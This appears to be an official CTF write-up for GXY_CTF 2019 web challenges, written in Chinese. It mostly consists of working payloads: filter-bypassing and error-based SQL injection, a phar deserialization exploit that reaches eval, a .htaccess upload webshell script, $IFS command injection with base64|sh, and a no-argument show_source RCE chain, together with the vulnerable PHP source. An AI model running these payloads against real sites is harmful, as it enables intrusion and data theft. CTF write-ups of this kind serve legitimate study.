2019 GXY_CTF Web 官方 Write Up

# username:
 -1' union select 1, 'admin', '202cb962ac59075b964b07152d234b70' #
# password:
 123

# 显示database
# 由于0x被过滤，使用char()构造admin
# 除了char()之外，看到有的师傅使用unhex()函数，原理相同
name=1%df%27ununionion%20selselectect%201,char(97,100,109,105,110),database()%23&pw=1

# 显示表名
# 双写绕过union select where等字段
name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(table_name)%20from%20information_schema.tables%20whwhereere%20table_schema%20=%20database()%23
    
# 显示f14g列名
# char()写入f14g，或者再使用宽字节也可以
name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(column_name)%20from%20information_schema.columns%20whwhereere%20table_name%20=%20char(102,49,52,103)%23
    
# 拿到flag
name=%df%27%20uniunionon%20selselectect%201,char(97,100,109,105,110),group_concat(327a6c4304ad5938eaf0efb6cc3e53dc)%20from%20f14g%23

# Author Y1ng
# 爆数据库
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1,database()),1) --+&pw=y1ng
# Error: XPATH syntax error: 'web_sqli'

# 查表名
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seSELECTlect group_concat(table_name) from information_schema.tables whWHEREere table_schema=database() limit 0,1)),1) --+&pw=y1ng
# Error: XPATH syntax error: 'f14g,user'

# 查列名
http://172.21.4.12:10012/search.php?name=admin%df%27%20and%20updatexml(1,concat(1,%20(seSELECTlect%20group_concat(column_name)%20from%20information_schema.columns%20wherWHEREe%20TABLE_NAME=char(102,49,52,103))),1)%20--+&pw=y1ng
# Error: XPATH syntax error: 'b80bb7740288fda1f201890375a60c8f'

# 查字段
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 0,1),1),1) --+ &pw=y1ng
# Error: XPATH syntax error: 'VGhlIGZpcnN0IG1hbiBuYW1lIHdhcyBr'

# 查flag
http://172.21.4.12:10012/search.php?name=admin%df%27 and updatexml(1,concat(1, (seleSELECTct concat(327a6c4304ad5938eaf0efb6cc3e53dc) from f14g limit 22,1),1),1) --+ &pw=y1ng
# Error: XPATH syntax error: 'R1hZe2cwT2Rfam9iMWltX3NvX3ZlZ2V0'

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
	上传文件
	<input type="file" name="file" />
	<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
	public $Filename;
	public $cmd;
	public $token;
	
	function __construct(){
		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件：<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

# phar_gen.php
# Author : imagin
# 使用时请将上文中的对象代码粘贴到本代码之前

<?php
@unlink("exp.phar");
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Uploader();
$o->token = "GXYb4b627c1236f2c1b9463e18e0e7bfe30";
$o->cmd = "echo file_get_contents('./flag.php');";
$o->Filename = "phar://uploads/909c00f0b41f82ef8c579546b5ed765e/GXYb4b627c1236f2c1b9463e18e0e7bfe30.txt";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("a", "a"); //添加要压缩的文件
$phar->stopBuffering();
?>

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name']))

# upload_exp.py
# Author : imagin

import requests
url = "http://172.21.4.12:10011/"
session = requests.session()
htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
res_hta = session.post(url, files = htaccess)

files = {'uploaded': ('123.jpg', "<script language=\"php\">echo file_get_contents(\"/flag\");</script>", 'image/jpeg')}
res_jpg = session.post(url, files = files)

res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})

print(res_shell.text)

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

<?php 
class FileReader{
	public $Filename;
	public $start;
	public $max_length;
	function __construct(){
		$this->Filename = __DIR__ . "/bcm.txt";
		$this->start = 12;
		$this->max_length = 72;
	}

	function __wakeup(){
		$this->Filename = __DIR__ . "/fake_f1ag.php";
		$this->start = 10;
		$this->max_length = 0;
	}

	function __destruct(){
		$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
		if(preg_match("/\{|\}/", $data)){
			die("you can't read flag!");
		}
		else{
			echo $data;
		}
	}
}

if(isset($_GET['exp'])){
	if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
		die("hack!");
	}
	$exp = $_REQUEST['exp'];
	$e = unserialize($exp);
	echo $e->Filename;
}
else{
	$exp = new FileReader();
}
?>

# get
?exp=1
# post
exp=O:10:"FileReader":4:{s:8:"Filename";s:22:"/var/www/html/flag.php";s:5:"start";i:21;s:10:"max_length";i:17;}

(';' === preg_replace('/[a-z|\-]+\((?R)?\)/', NULL, $_GET['exp']))

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));